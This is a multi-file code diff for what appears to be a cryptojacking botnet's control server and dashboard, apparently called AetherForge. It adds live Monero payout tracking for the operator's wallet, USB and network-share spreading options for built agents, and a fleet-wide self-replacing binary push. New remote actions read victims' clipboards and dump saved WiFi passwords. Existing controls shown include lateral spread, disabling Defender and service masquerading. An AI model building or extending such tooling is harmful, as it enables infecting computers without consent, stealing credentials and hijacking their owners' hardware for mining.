@@ -19,8 +24,19 @@ type FleetHandler struct {
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
// Real-earnings cache (avoids hammering the pool API)
earningsMu sync.Mutex
earningsCache map[string]*poolEarningsCache
}
type poolEarningsCache struct {
data map[string]interface{}
fetchedAt time.Time
}
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
return &FleetHandler{
db: database,
@@ -56,9 +72,113 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
writeJSON(w, f.ai.ActivitySnapshot())
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r)
}
// GetEarnings returns real pool stats for the configured wallet when the pool
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
hashrate := parseFloatQuery(r, "hashrate", 0)
writeJSON(w, EstimateXMRPerDay(hashrate))
estimate := EstimateXMRPerDay(hashrate)
// Determine wallet from query param or server config
wallet := r.URL.Query().Get("wallet")
if wallet == "" && f.db != nil {
// Try to read the wallet from the most recent build record
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
wallet = builds[0].Wallet
}
}
if wallet == "" {
writeJSON(w, estimate)
return
}
// Try SupportXMR REST API
real, err := f.fetchPoolEarnings(wallet)
if err != nil {
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
writeJSON(w, estimate)
return
}
// Merge pool data over the estimate
for k, v := range real {
estimate[k] = v
}
estimate["source"] = "pool_api"
writeJSON(w, estimate)
}
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
f.earningsMu.Lock()
if f.earningsCache == nil {
f.earningsCache = map[string]*poolEarningsCache{}
}
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
data := cached.data
f.earningsMu.Unlock()
return data, nil
}
f.earningsMu.Unlock()
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url) //nolint:gosec
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("pool API returned %s", resp.Status)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
if err != nil {
return nil, err
}
var raw map[string]interface{}
if err := json.Unmarshal(body, &raw); err != nil {
return nil, err
}
// Normalise SupportXMR fields into our API format
const piconeroPerXMR = 1e12
result := map[string]interface{}{}
if v, ok := raw["amtDue"].(float64); ok {
result["pending_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["amtPaid"].(float64); ok {
result["paid_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["totalHashes"].(float64); ok {
result["total_hashes"] = v
}
if v, ok := raw["hashRate"].(float64); ok {
result["pool_hashrate"] = v
}
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
}
if v, ok := raw["lastPayment"].(float64); ok {
result["last_payment_xmr"] = v / piconeroPerXMR
}
f.earningsMu.Lock()
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
f.earningsMu.Unlock()
return result, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {

View File

@@ -72,6 +72,8 @@ type BuildRequest struct {
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
USBSpread bool `json:"usb_spread"`
ShareSpread bool `json:"share_spread"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
@@ -564,6 +566,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
recordPlatform = "windows"
}
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
if bundleDownloadURL != "" {
dlURL = bundleDownloadURL
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
@@ -573,6 +579,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
FileName: finalName,
DownloadURL: dlURL,
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
@@ -913,6 +921,8 @@ func GetBuiltinConfig() BuiltinConfig {
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
USBSpread: %v,
ShareSpread: %v,
BackupServerURLs: %s,
ServiceMasquerade: %v,
ServiceName: %q,
@@ -962,6 +972,8 @@ func GetBuiltinConfig() BuiltinConfig {
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
req.USBSpread,
req.ShareSpread,
formatGoStringSlice(req.BackupServerURLs),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),

View File

@@ -113,6 +113,8 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
@@ -249,23 +251,23 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
return b, err
}
func (d *Database) InsertBuild(b *models.BuildRecord) error {
_, err := d.Exec(`INSERT INTO builds
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
b.FilePath, b.Platform, b.CreatedAt,
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
return err
}

View File

@@ -83,6 +83,8 @@ type BuildRecord struct {
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
FilePath string `json:"file_path"`
FileName string `json:"file_name"` // base filename for display
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
// Pool settings

View File

@@ -387,6 +387,7 @@ func findWebRoot() string {
if exe, err := os.Executable(); err == nil {
exeDir := filepath.Dir(exe)
candidates = append(candidates,
filepath.Join(exeDir, "webroot"), // portable USB layout
filepath.Join(exeDir, "..", "webroot"),
filepath.Join(exeDir, "..", "web", "dist"),
filepath.Join(exeDir, "..", "..", "server", "webroot"),

View File

@@ -179,3 +179,37 @@
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
/* Upgrade section */
.upgrade-group { grid-column: 1 / -1; }
.upgrade-row {
display: flex;
gap: 0.75rem;
align-items: center;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.upgrade-select {
flex: 1;
min-width: 200px;
background: rgba(0, 0, 0, 0.6);
border: 1px solid rgba(0, 229, 255, 0.3);
border-radius: 4px;
color: #e0e0e0;
padding: 6px 10px;
font-size: 0.82rem;
font-family: 'Consolas', monospace;
outline: none;
}
.upgrade-select:focus { border-color: var(--neon-cyan, #00e5ff); }
.upgrade-btn {
white-space: nowrap;
padding: 6px 18px;
font-size: 0.82rem;
}
.log-line { line-height: 1.45; word-break: break-all; }

View File

@@ -1,6 +1,6 @@
import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import './AgentRemoteActions.css';
@@ -42,6 +42,12 @@ export default function AgentRemoteActions({
const [terminalLog, setTerminalLog] = useState<string[]>([]);
const [screenshotData, setScreenshotData] = useState<string | null>(null);
const [busy, setBusy] = useState<string | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
useEffect(() => {
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
}, []);
const logEndRef = useRef<HTMLDivElement>(null);
// Track the highest _seq we've already processed.
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
@@ -102,6 +108,7 @@ export default function AgentRemoteActions({
}
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
@@ -195,6 +202,9 @@ export default function AgentRemoteActions({
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
</div>
</div>
@@ -215,6 +225,39 @@ export default function AgentRemoteActions({
</div>
</div>
<div className="action-group upgrade-group">
<h3>Fleet Upgrade</h3>
<p className="action-group-hint">
Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts no manual access needed.
</p>
<div className="upgrade-row">
<select
className="upgrade-select"
value={selectedBuildId}
onChange={(e) => setSelectedBuildId(e.target.value)}
>
<option value=""> pick a build </option>
{builds.filter((b) => b.download_url).map((b) => (
<option key={b.id} value={b.id}>
{b.file_name ?? b.id} ({b.platform ?? 'win'})
</option>
))}
</select>
<button
type="button"
className="btn-cyan upgrade-btn"
disabled={!isOnline || !!busy || !selectedBuildId}
onClick={() => {
const build = builds.find((b) => b.id === selectedBuildId);
if (!build?.download_url) return;
dispatch('upgrade', { data: build.download_url });
}}
>
{busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
</button>
</div>
</div>
<div className="action-group aggressive-group">
<h3>NAT &amp; Aggressive Ops</h3>
<p className="action-group-hint">Point-and-shoot requires Advanced forge toggles on the agent.</p>

View File

@@ -121,6 +121,23 @@
grid-column: span 2;
}
.earnings-real-grid {
display: flex;
flex-direction: column;
gap: 4px;
margin-top: 6px;
}
.er-row {
display: flex;
justify-content: space-between;
font-size: 0.78rem;
gap: 1rem;
}
.er-lbl { opacity: 0.55; }
.er-val { font-family: 'Consolas', monospace; color: var(--neon-amber, #f5a623); }
.agent-action-btn {
padding: 0.4rem 0.75rem;

View File

@@ -83,34 +83,67 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
);
}
interface EarningsData {
xmr_per_day?: number;
note?: string;
source?: string; // "pool_api" | "estimate"
pending_xmr?: number; // from pool API
paid_xmr?: number;
pool_hashrate?: number;
last_payment_xmr?: number;
last_payment_time?: string;
}
export function EarningsEstimator({ hashrate }: { hashrate: number }) {
const [xmrPerDay, setXmrPerDay] = useState<number | null>(null);
const [note, setNote] = useState('');
const [data, setData] = useState<EarningsData | null>(null);
useEffect(() => {
if (hashrate <= 0) {
setXmrPerDay(null);
setData(null);
return;
}
// AbortController ensures a stale in-flight response never overwrites a
// newer estimate when hashrate changes rapidly (fixes M16).
const controller = new AbortController();
api.getEarningsEstimate(hashrate).then((r) => {
if (!controller.signal.aborted) {
setXmrPerDay(r.xmr_per_day);
setNote(r.note);
}
}).catch((err) => { if (!controller.signal.aborted) console.error(err); });
api.getEarningsEstimate(hashrate).then((r: EarningsData) => {
if (!controller.signal.aborted) setData(r);
}).catch((err: unknown) => { if (!controller.signal.aborted) console.error(err); });
return () => controller.abort();
}, [hashrate]);
if (xmrPerDay == null || hashrate <= 0) return null;
if (!data || hashrate <= 0) return null;
const isReal = data.source === 'pool_api';
return (
<NeonCard accent="amber" className="stat-card-wrap earnings-estimator">
<div className="stat-label font-tech">Earnings Estimate</div>
<div className="stat-value neon-glow-amber">~{xmrPerDay.toFixed(6)} XMR/day</div>
<div className="stat-sub">{note}</div>
<div className="stat-label font-tech">
{isReal ? '⛏ Pool Earnings (Live)' : 'Earnings Estimate'}
</div>
{data.xmr_per_day != null && (
<div className="stat-value neon-glow-amber">
{isReal ? '' : '~'}{data.xmr_per_day.toFixed(6)} XMR/day
</div>
)}
{isReal ? (
<div className="earnings-real-grid">
{data.pending_xmr != null && (
<span className="er-row"><span className="er-lbl">Pending</span><span className="er-val">{data.pending_xmr.toFixed(8)} XMR</span></span>
)}
{data.paid_xmr != null && (
<span className="er-row"><span className="er-lbl">Total Paid</span><span className="er-val">{data.paid_xmr.toFixed(4)} XMR</span></span>
)}
{data.last_payment_xmr != null && data.last_payment_xmr > 0 && (
<span className="er-row"><span className="er-lbl">Last Payout</span><span className="er-val">{data.last_payment_xmr.toFixed(6)} XMR</span></span>
)}
{data.last_payment_time && (
<span className="er-row"><span className="er-lbl">Paid At</span><span className="er-val">{new Date(data.last_payment_time).toLocaleDateString()}</span></span>
)}
</div>
) : (
<div className="stat-sub">{data.note}</div>
)}
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.5, fontSize: '0.7rem' }}>
{isReal ? 'SupportXMR live data · refreshes every 5 min' : 'Formula estimate · connect wallet for live data'}
</div>
</NeonCard>
);
}

View File

@@ -88,7 +88,8 @@
}
.sidebar-nav {
flex: 1;
/* No flex-grow: let the matrix rain claim the remaining space */
flex: 0 0 auto;
padding: 1rem 0.75rem;
display: flex;
flex-direction: column;
@@ -150,44 +151,229 @@
border-radius: 0 2px 2px 0;
}
/* ── Matrix rain ──────────────────────────────── */
.matrix-rain-wrap {
/* Flex-grow to fill all space between nav and footer */
flex: 1;
position: relative;
overflow: hidden;
border-top: 1px solid rgba(0, 255, 65, 0.12);
border-bottom: 1px solid rgba(0, 255, 65, 0.08);
min-height: 160px;
max-height: 320px;
background: #000;
}
.matrix-rain-canvas {
display: block;
width: 100%;
height: 100%;
}
/* CRT scanline overlay */
.matrix-rain-scanlines {
position: absolute;
inset: 0;
pointer-events: none;
background: repeating-linear-gradient(
0deg,
transparent,
transparent 1px,
rgba(0, 0, 0, 0.18) 1px,
rgba(0, 0, 0, 0.18) 2px
);
z-index: 2;
}
/* Top fade — blends into nav area */
.matrix-rain-vignette-top {
position: absolute;
top: 0;
left: 0;
right: 0;
height: 40px;
background: linear-gradient(to bottom, #000 0%, transparent 100%);
pointer-events: none;
z-index: 3;
}
/* Bottom fade — blends into footer */
.matrix-rain-vignette-btm {
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 32px;
background: linear-gradient(to top, #000 0%, transparent 100%);
pointer-events: none;
z-index: 3;
}
.sidebar-footer {
padding: 1.25rem;
padding: 1rem 1.25rem 1.1rem;
border-top: 1px solid var(--border-brass);
}
.power-meter {
margin-bottom: 0.75rem;
/* ── Fleet readout widget ─────────────────────── */
.fleet-readout {
margin-bottom: 0.85rem;
display: flex;
flex-direction: column;
gap: 0.4rem;
}
.power-label {
font-size: 0.6rem;
letter-spacing: 0.2em;
.readout-row {
display: flex;
align-items: center;
gap: 0.4rem;
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
}
.readout-dot {
width: 7px;
height: 7px;
border-radius: 50%;
flex-shrink: 0;
}
.readout-dot-online {
background: var(--neon-green);
box-shadow: 0 0 6px var(--neon-green);
animation: readout-pulse 2s ease-in-out infinite;
}
.readout-dot-idle {
background: rgba(255, 255, 255, 0.18);
}
@keyframes readout-pulse {
0%, 100% { opacity: 1; box-shadow: 0 0 6px var(--neon-green); }
50% { opacity: 0.7; box-shadow: 0 0 12px var(--neon-green); }
}
.readout-glyph {
width: 7px;
text-align: center;
color: var(--neon-cyan);
font-size: 0.75rem;
flex-shrink: 0;
line-height: 1;
}
.readout-label {
flex: 1;
color: var(--text-muted);
display: block;
margin-bottom: 0.35rem;
font-size: 0.6rem;
letter-spacing: 0.12em;
}
.power-bar {
height: 4px;
background: rgba(201, 162, 39, 0.15);
.readout-value {
color: var(--neon-cyan);
font-size: 0.72rem;
font-weight: 600;
letter-spacing: 0.04em;
text-align: right;
transition: color 0.2s;
}
.readout-value-machines {
color: var(--neon-green);
}
.readout-dim {
color: var(--text-muted);
font-weight: 400;
}
@keyframes readout-tick {
0% { opacity: 0.4; color: #fff; }
50% { opacity: 1; color: var(--neon-amber); }
100% { opacity: 1; color: var(--neon-cyan); }
}
.readout-flash {
animation: readout-tick 0.6s ease-out forwards;
}
/* Readout progress bar */
.readout-bar-wrap {
display: flex;
align-items: center;
gap: 0.5rem;
margin-top: 0.1rem;
}
.readout-bar-track {
flex: 1;
height: 3px;
background: rgba(201, 162, 39, 0.12);
border-radius: 2px;
overflow: hidden;
}
.power-fill {
.readout-bar-fill {
height: 100%;
width: 78%;
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 8px rgba(0, 245, 255, 0.4);
animation: shimmer 3s ease-in-out infinite;
width: 0%;
background: rgba(255, 255, 255, 0.15);
border-radius: 2px;
transition: width 0.8s cubic-bezier(0.4, 0, 0.2, 1);
}
.readout-bar-fill.readout-bar-active {
background: linear-gradient(90deg, var(--neon-green), var(--neon-cyan));
box-shadow: 0 0 6px rgba(0, 245, 255, 0.35);
animation: bar-shimmer 2.5s ease-in-out infinite;
background-size: 200% 100%;
}
.version-badge {
font-size: 0.65rem;
@keyframes bar-shimmer {
0% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
100% { background-position: 0% 50%; }
}
.readout-bar-pct {
font-family: var(--font-tech);
font-size: 0.55rem;
color: var(--text-muted);
text-align: center;
letter-spacing: 0.15em;
letter-spacing: 0.06em;
min-width: 2.2rem;
text-align: right;
}
/* ── Signature ────────────────────────────────── */
.sidebar-sig {
display: flex;
flex-direction: column;
align-items: center;
gap: 0.15rem;
padding-top: 0.65rem;
border-top: 1px solid rgba(201, 162, 39, 0.1);
}
.sig-love {
font-size: 0.58rem;
color: var(--text-muted);
letter-spacing: 0.08em;
}
.sig-heart {
color: #f87171;
animation: heart-beat 1.8s ease-in-out infinite;
}
@keyframes heart-beat {
0%, 100% { transform: scale(1); }
20% { transform: scale(1.3); }
40% { transform: scale(0.95); }
}
.sig-ver {
font-size: 0.55rem;
color: rgba(0, 245, 255, 0.35);
letter-spacing: 0.18em;
}
.main-with-status {
@@ -219,8 +405,9 @@
.logo-text-block,
.nav-label,
.power-meter,
.version-badge {
.fleet-readout,
.sidebar-sig,
.matrix-rain-wrap {
display: none;
}

View File

@@ -1,7 +1,9 @@
import { ReactNode } from 'react';
import { ReactNode, useEffect, useRef, useState } from 'react';
import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import MatrixRain from './MatrixRain';
import './Layout.css';
interface LayoutProps {
@@ -57,6 +59,60 @@ function NavIcon({ type }: { type: string }) {
}
}
function formatHashrate(hs: number): string {
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} KH/s`;
return `${hs.toFixed(0)} H/s`;
}
function FleetReadout() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
// Tick animation: flash hashrate value whenever it meaningfully changes
const [flash, setFlash] = useState(false);
const prevHash = useRef(0);
useEffect(() => {
if (Math.abs(totalHashrate - prevHash.current) > 1) {
prevHash.current = totalHashrate;
setFlash(true);
const t = setTimeout(() => setFlash(false), 600);
return () => clearTimeout(t);
}
}, [totalHashrate]);
return (
<div className="fleet-readout">
<div className="readout-row">
<span className={`readout-dot ${online > 0 ? 'readout-dot-online' : 'readout-dot-idle'}`} />
<span className="readout-label">MACHINES</span>
<span className="readout-value readout-value-machines">
{online}<span className="readout-dim">/{total}</span>
</span>
</div>
<div className="readout-row">
<span className="readout-glyph"></span>
<span className="readout-label">HASHRATE</span>
<span className={`readout-value ${flash ? 'readout-flash' : ''}`}>
{totalHashrate > 0 ? formatHashrate(totalHashrate) : <span className="readout-dim">IDLE</span>}
</span>
</div>
<div className="readout-bar-wrap" title={`${online} of ${total} online`}>
<div className="readout-bar-track">
<div
className={`readout-bar-fill ${online > 0 ? 'readout-bar-active' : ''}`}
style={{ width: `${fillPct}%` }}
/>
</div>
<span className="readout-bar-pct">{fillPct}%</span>
</div>
</div>
);
}
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
@@ -93,15 +149,16 @@ export default function Layout({ children }: LayoutProps) {
))}
</div>
{/* Matrix rain log — fills the lower sidebar between nav and footer */}
<MatrixRain />
<div className="sidebar-footer">
<div className="power-meter">
<span className="power-label font-tech">SYSTEM</span>
<div className="power-bar">
<div className="power-fill" />
<FleetReadout />
<div className="sidebar-sig font-tech">
<span className="sig-love">made with <span className="sig-heart"></span> drjones</span>
<span className="sig-ver">v0.0.1</span>
</div>
</div>
<div className="version-badge font-tech">MK.I · v1.0</div>
</div>
</nav>
<div className="main-with-status">

View File

@@ -0,0 +1,212 @@
import { useEffect, useRef } from 'react';
import { useWebSocket } from '../../hooks/useWebSocket';
// Full matrix alphabet: katakana + hex + braille dots for visual density
const KATAKANA =
'アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
const HEX = '0123456789ABCDEFabcdef';
const SYMBOLS = '!@#$%^&*<>/?|\\~';
const ALPHABET = KATAKANA + HEX + SYMBOLS;
const FONT_SIZE = 10;
interface Column {
y: number;
speed: number;
// occasionally carry a char from live data
liveSrc: string;
livePos: number;
}
export default function MatrixRain() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const wrapRef = useRef<HTMLDivElement>(null);
const { agents, recentShares, commandResults } = useWebSocket();
// ── Live data pool ──────────────────────────────────────────────────────────
// Collect strings from the fleet that will be injected character-by-character
// into the rain columns so real data scrolls through the matrix.
const livePoolRef = useRef<string[]>([]);
useEffect(() => {
const pool: string[] = [];
for (const a of agents) {
pool.push(a.id.replace(/-/g, '')); // stripped UUID
if (a.hashrate_15s > 0) pool.push(`${a.hashrate_15s.toFixed(0)}H`);
if (a.ip) pool.push(a.ip.replace(/\./g, ''));
}
for (const s of recentShares.slice(0, 8)) {
if (s.hash) pool.push(s.hash.replace(/[^a-fA-F0-9]/g, '').slice(0, 24));
}
for (const r of (commandResults ?? []).slice(-5)) {
if (r.action) pool.push(r.action.toUpperCase().padEnd(8, '_'));
}
livePoolRef.current = pool.length > 0 ? pool : ['AETHERFORGE', 'MINING', '00E5FF'];
}, [agents, recentShares, commandResults]);
// ── Event log feed ──────────────────────────────────────────────────────────
// We inject one short log line per meaningful event, shown as a dim overlay
// row scrolling through the canvas.
const eventLogRef = useRef<{ text: string; alpha: number }[]>([]);
const prevShareLen = useRef(0);
const prevAgentLen = useRef(0);
useEffect(() => {
const newEvents: string[] = [];
if (recentShares.length > prevShareLen.current) {
const s = recentShares[0];
newEvents.push(`SHARE ${s.accepted ? 'OK' : 'REJECT'} ${s.agent_id?.slice(0, 6) ?? '??'}`);
}
prevShareLen.current = recentShares.length;
if (agents.length > prevAgentLen.current) {
const a = agents[agents.length - 1];
newEvents.push(`AGENT ONLINE ${a.name?.slice(0, 8) ?? '??'}`);
}
prevAgentLen.current = agents.length;
for (const ev of newEvents) {
eventLogRef.current.push({ text: ev, alpha: 1 });
if (eventLogRef.current.length > 6) eventLogRef.current.shift();
}
}, [recentShares, agents]);
// ── Canvas renderer ─────────────────────────────────────────────────────────
useEffect(() => {
const canvas = canvasRef.current;
const wrap = wrapRef.current;
if (!canvas || !wrap) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
// Resize canvas to match wrapper
const resize = () => {
const r = wrap.getBoundingClientRect();
canvas.width = Math.floor(r.width);
canvas.height = Math.floor(r.height);
};
resize();
const ro = new ResizeObserver(resize);
ro.observe(wrap);
let cols: Column[] = [];
const resetCols = () => {
const numCols = Math.max(1, Math.floor(canvas.width / FONT_SIZE));
cols = Array.from({ length: numCols }, (_, i) => ({
y: Math.random() * -(canvas.height * 2),
speed: 0.3 + Math.random() * 0.55,
liveSrc: '',
livePos: 0,
}));
};
resetCols();
// Periodically inject live data strings into random columns
const injectInterval = setInterval(() => {
const pool = livePoolRef.current;
if (pool.length === 0 || cols.length === 0) return;
const colIdx = Math.floor(Math.random() * cols.length);
const src = pool[Math.floor(Math.random() * pool.length)];
cols[colIdx].liveSrc = src;
cols[colIdx].livePos = 0;
}, 180);
let raf: number;
let lastTime = 0;
const FPS = 24; // keep CPU gentle
const MS_PER_FRAME = 1000 / FPS;
const draw = (ts: number) => {
raf = requestAnimationFrame(draw);
if (ts - lastTime < MS_PER_FRAME) return;
lastTime = ts;
const W = canvas.width;
const H = canvas.height;
// Fade trail
ctx.fillStyle = 'rgba(0,0,0,0.18)';
ctx.fillRect(0, 0, W, H);
ctx.font = `${FONT_SIZE}px 'Courier New', monospace`;
for (let i = 0; i < cols.length; i++) {
const col = cols[i];
const x = i * FONT_SIZE;
const y = col.y;
// Pick character: live data char or random alphabet
let ch: string;
if (col.liveSrc && col.livePos < col.liveSrc.length) {
ch = col.liveSrc[col.livePos];
col.livePos++;
} else {
ch = ALPHABET[Math.floor(Math.random() * ALPHABET.length)];
}
// Head character — bright white flash
ctx.fillStyle = 'rgba(255,255,255,0.95)';
ctx.fillText(ch, x, y * FONT_SIZE);
// Second char — bright cyan-green (neon)
if (y > 1) {
ctx.fillStyle = '#00ff41';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
(y - 1) * FONT_SIZE,
);
}
// Dim previous chars handled by fade overlay above.
// Occasionally render a mid-column dim glyph for density.
if (Math.random() < 0.04) {
const dimY = Math.floor(Math.random() * (y - 2));
ctx.fillStyle = 'rgba(0,180,60,0.22)';
ctx.fillText(
ALPHABET[Math.floor(Math.random() * ALPHABET.length)],
x,
dimY * FONT_SIZE,
);
}
col.y += col.speed;
if (col.y * FONT_SIZE > H && Math.random() > 0.96) {
col.y = Math.random() * -20;
col.speed = 0.3 + Math.random() * 0.55;
col.liveSrc = '';
col.livePos = 0;
}
}
// ── Event log overlay — bottom of canvas ──────────────────────────
const logs = eventLogRef.current;
const lineH = FONT_SIZE + 2;
ctx.font = `${FONT_SIZE - 1}px 'Courier New', monospace`;
for (let j = 0; j < logs.length; j++) {
const entry = logs[logs.length - 1 - j];
const oy = H - 6 - j * lineH;
if (oy < 0) break;
ctx.fillStyle = `rgba(0,255,65,${(entry.alpha * 0.55).toFixed(2)})`;
